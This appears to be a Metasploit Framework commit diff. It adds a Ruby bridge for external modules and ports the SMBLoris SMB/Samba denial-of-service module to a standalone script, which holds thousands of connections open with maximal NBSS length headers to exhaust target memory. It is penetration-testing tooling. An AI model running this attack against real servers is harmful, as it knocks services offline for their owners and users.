diff --git a/documentation/modules/auxiliary/dos/smb/smb_loris.md b/documentation/modules/auxiliary/dos/smb/smb_loris.md index b52819fde6..ed8d607b4c 100644 --- a/documentation/modules/auxiliary/dos/smb/smb_loris.md +++ b/documentation/modules/auxiliary/dos/smb/smb_loris.md @@ -3,7 +3,7 @@ This module exploits a vulnerability in the NetBIOS Session Service Header for SMB. Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable. See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability. - + The module opens over 64,000 connections to the target service, so please make sure your system ULIMIT is set appropriately to handle it. A single host running this module can theoretically consume up to 8GB of memory on the target. @@ -14,7 +14,7 @@ 1. Start msfconsole 1. Do: `use auxiliary/dos/smb/smb_loris` - 1. Do: `set RHOST [IP]` + 1. Do: `set rhost [IP]` 1. Do: `run` 1. Target should allocate increasing amounts of memory. @@ -30,14 +30,11 @@ msf auxiliary(smb_loris) > msf auxiliary(smb_loris) > run -[*] 192.168.172.138:445 - Sending packet from Source Port: 1025 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1026 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1027 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1028 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1029 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1030 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1031 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1032 -[*] 192.168.172.138:445 - Sending packet from Source Port: 1033 -.... +[*] Starting server... +[*] 192.168.172.138:445 - 100 socket(s) open +[*] 192.168.172.138:445 - 200 socket(s) open +... +[!] 192.168.172.138:445 - At open socket limit with 4000 sockets open. Try increasing you system limits. +[*] 192.168.172.138:445 - Holding steady at 4000 socket(s) open +... ``` diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb index baad9dc30d..9c916946ed 100644 --- a/lib/msf/core/modules/external/bridge.rb +++ b/lib/msf/core/modules/external/bridge.rb @@ -42,7 +42,7 @@ class Msf::Modules::External::Bridge self.env = {} self.running = false self.path = module_path - self.cmd = [self.path, self.path] + self.cmd = [[self.path, self.path]] self.messages = Queue.new self.buf = '' end @@ -66,7 +66,7 @@ class Msf::Modules::External::Bridge end def send(message) - input, output, err, status = ::Open3.popen3(self.env, self.cmd) + input, output, err, status = ::Open3.popen3(self.env, *self.cmd) self.ios = [input, output, err] self.wait_thread = status # We would call Rex::Threadsafe directly, but that would require rex for standalone use @@ -148,7 +148,7 @@ class Msf::Modules::External::Bridge # We are filtering for a response to a particular message, but we got # something else, store the message and try again self.messages.push m - read_json(filter_id, timeout) + recv(filter_id, timeout) else # Either we weren't filtering, or we got what we were looking for m @@ -179,10 +179,24 @@ class Msf::Modules::External::PyBridge < Msf::Modules::External::Bridge end end +class Msf::Modules::External::RbBridge < Msf::Modules::External::Bridge + def self.applies?(module_name) + module_name.match? /\.rb$/ + end + + def initialize(module_path) + super + + ruby_path = File.expand_path('../ruby', __FILE__) + self.cmd = [[Gem.ruby, 'ruby'], "-I#{ruby_path}", self.path] + end +end + class Msf::Modules::External::Bridge LOADERS = [ Msf::Modules::External::PyBridge, + Msf::Modules::External::RbBridge, Msf::Modules::External::Bridge ] diff --git a/lib/msf/core/modules/external/ruby/metasploit.rb b/lib/msf/core/modules/external/ruby/metasploit.rb new file mode 100644 index 0000000000..00751fc8d1 --- /dev/null +++ b/lib/msf/core/modules/external/ruby/metasploit.rb @@ -0,0 +1,58 @@ +require 'json' + +module Metasploit + class << self + attr_accessor :logging_prefix + + def log(message, level: 'debug') + rpc_send({ + jsonrpc: '2.0', method: 'message', params: { + level: level, + message: self.logging_prefix + message + } + }) + end + + def report_host(ip, **opts) + report(:host, opts.merge(host: ip)) + end + + def report_service(ip, **opts) + report(:service, opts.merge(host: ip)) + end + + def report_vuln(ip, name, **opts) + report(:vuln, opts.merge(host: ip, name: name)) + end + + def run(metadata, callback) + self.logging_prefix = '' + req = JSON.parse($stdin.readpartial(10000), symbolize_names: true) + if req[:method] == 'describe' + rpc_send({ + jsonrpc: '2.0', id: req[:id], response: metadata + }) + elsif req[:method] == 'run' + callback.call req[:params] + rpc_send({ + jsonrpc: '2.0', id: req[:id], response: { + message: 'Module completed' + } + }) + end + end + + def report(kind, data) + rpc_send({ + jsonrpc: '2.0', method: 'report', params: { + type: kind, data: data + } + }) + end + + def rpc_send(req) + puts JSON.generate(req) + $stdout.flush + end + end +end diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index e78d371f7d..82e5e5a198 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -43,6 +43,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname) relative_entry_descendant_path = relative_entry_descendant_pathname.to_s next if File::basename(relative_entry_descendant_path) == "example.rb" + next if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path) # The module_reference_name doesn't have a file extension module_reference_name = module_reference_name_from_path(relative_entry_descendant_path) diff --git a/lib/msf/core/modules/loader/executable.rb b/lib/msf/core/modules/loader/executable.rb index ec9a00d458..a609a29f96 100644 --- a/lib/msf/core/modules/loader/executable.rb +++ b/lib/msf/core/modules/loader/executable.rb @@ -85,7 +85,7 @@ class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base begin Msf::Modules::External::Shim.generate(full_path) rescue ::Exception => e - elog "Unable to load module #{full_path} #{e.class} #{e}" + elog "Unable to load module #{full_path} #{e.class} #{e} #{e.backtrace.join "\n"}" # XXX migrate this to a full load_error when we can tell the user why the # module did not load and/or how to resolve it. # load_error(full_path, e) diff --git a/modules/auxiliary/dos/smb/smb_loris.rb b/modules/auxiliary/dos/smb/smb_loris.rb old mode 100644 new mode 100755 index 3d70ce4122..10856b1294 --- a/modules/auxiliary/dos/smb/smb_loris.rb +++ b/modules/auxiliary/dos/smb/smb_loris.rb @@ -1,89 +1,95 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## +#!/usr/bin/env ruby + +require 'socket' +require 'metasploit' require 'bindata' -require 'ruby_smb' - -class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Dos - - class NbssHeader < BinData::Record - endian :little - uint8 :message_type - bit7 :flags - bit17 :message_length - end - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SMBLoris NBSS Denial of Service', - 'Description' => %q{ - The SMBLoris attack consumes large chunks of memory in the target by sending - SMB requests with the NetBios Session Service(NBSS) Length Header value set - to the maximum possible value. By keeping these connections open and initiating - large numbers of these sessions, the memory does not get freed, and the server - grinds to a halt. This vulnerability was originally disclosed by Sean Dillon - and Zach Harding. - - DISCALIMER: This module opens a lot of simultaneous connections. Please check - your system's ULIMIT to make sure it can handle it. This module will also run - continuously until stopped. - }, - 'Author' => - [ - 'thelightcosine' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://smbloris.com/' ] - ], - 'DisclosureDate' => 'Jul 29 2017' - )) - - register_options( - [ - Opt::RPORT(445) - ]) - end - - def run - header = NbssHeader.new - header.message_length = 0x01FFFF - - linger = Socket::Option.linger(true, 60) - - while true do - sockets = {} - (1025..65535).each do |src_port| - print_status "Sending packet from Source Port: #{src_port}" - opts = { - 'CPORT' => src_port, - 'ConnectTimeout' => 360 - } - - if sockets[src_port] - disconnect(sockets[src_port]) - end - - begin - nsock = connect(false, opts) - nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true) - nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5)) - nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10)) - nsock.setsockopt(linger) - nsock.write(header.to_binary_s) - sockets[src_port] = nsock - rescue ::Exception => e - print_error "Exception sending packet: #{e.message}" - end - end - end - - - end +class NbssHeader < BinData::Record + endian :little + uint8 :message_type + bit7 :flags + bit17 :message_length +end + +metadata = { + name: 'SMBLoris NBSS Denial of Service', + description: %q{ + The SMBLoris attack consumes large chunks of memory in the target by sending + SMB requests with the NetBios Session Service(NBSS) Length Header value set + to the maximum possible value. By keeping these connections open and initiating + large numbers of these sessions, the memory does not get freed, and the server + grinds to a halt. This vulnerability was originally disclosed by Sean Dillon + and Zach Harding. + + DISCALIMER: This module opens a lot of simultaneous connections. Please check + your system's ULIMIT to make sure it can handle it. This module will also run + continuously until stopped. + }, + authors: [ + 'thelightcosine', + 'Adam Cammack ' + ], + date: '2017-06-29', + references: [ + { type: 'url', ref: 'http://smbloris.com/' } + ], + type: 'dos', + options: { + rhost: {type: 'address', description: 'The target address', required: true, default: nil}, + rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445}, + } +} + +def run(args) + header = NbssHeader.new + header.message_length = 0x01FFFF + + last_reported = 0 + warned = false + n_loops = 0 + sockets = [] + + target = Addrinfo.tcp(args[:rhost], args[:rport].to_i) + + Metasploit.logging_prefix = "#{target.inspect_sockaddr} - " + + while true do + begin + sockets.delete_if do |s| + s.closed? + end + + nsock = target.connect(timeout: 360) + nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true) + nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5)) + nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10)) + nsock.setsockopt(Socket::Option.linger(true, 60)) + nsock.write(header.to_binary_s) + sockets << nsock + + n_loops += 1 + if last_reported != sockets.length + if n_loops % 100 == 0 + last_reported = sockets.length + Metasploit.log "#{sockets.length} socket(s) open", level: 'info' + end + elsif n_loops % 1000 == 0 + Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info' + end + rescue Interrupt + break + sockets.each &:close + rescue Errno::EMFILE + Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing you system limits.", level: 'warning' unless warned + warned = true + sockets.slice(0).close + rescue Exception => e + Metasploit.log "Exception sending packet: #{e.message}", level: 'error' + end + end +end + +if __FILE__ == $PROGRAM_NAME + Metasploit.run(metadata, method(:run)) end diff --git a/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb index 2cb1b32483..21458148c9 100644 --- a/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb +++ b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb @@ -18,17 +18,19 @@ RSpec.shared_examples_for 'all modules with module type can be instantiated' do module_extension_regexp = /#{Regexp.escape(module_extension)}$/ Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path| - module_pathname = Pathname.new(module_path) - module_reference_pathname = module_pathname.relative_path_from(type_pathname) - module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '') + unless File.executable? module_path + module_pathname = Pathname.new(module_path) + module_reference_pathname = module_pathname.relative_path_from(type_pathname) + module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '') - context module_reference_name do - it 'can be instantiated' do - load_and_create_module( - module_type: module_type, - modules_path: modules_path, - reference_name: module_reference_name - ) + context module_reference_name do + it 'can be instantiated' do + load_and_create_module( + module_type: module_type, + modules_path: modules_path, + reference_name: module_reference_name + ) + end end end end diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 726da767a2..e89e38b31a 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -109,12 +109,6 @@ class Msftidy # ## - def check_mode - unless (@stat.mode & 0111).zero? - warn("Module should not be marked executable") - end - end - def check_shebang if @lines.first =~ /^#!/ warn("Module should not have a #! line") @@ -683,7 +677,6 @@ class Msftidy # Run all the msftidy checks. # def run_checks - check_mode check_shebang check_nokogiri check_rubygems @@ -757,6 +750,8 @@ if __FILE__ == $PROGRAM_NAME next if full_filepath =~ /\.git[\x5c\x2f]/ next unless File.file? full_filepath next unless full_filepath =~ /\.rb$/ + # Executable files are now assumed to be external modules + next if File.executable?(full_filepath) msftidy = Msftidy.new(full_filepath) msftidy.run_checks @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i)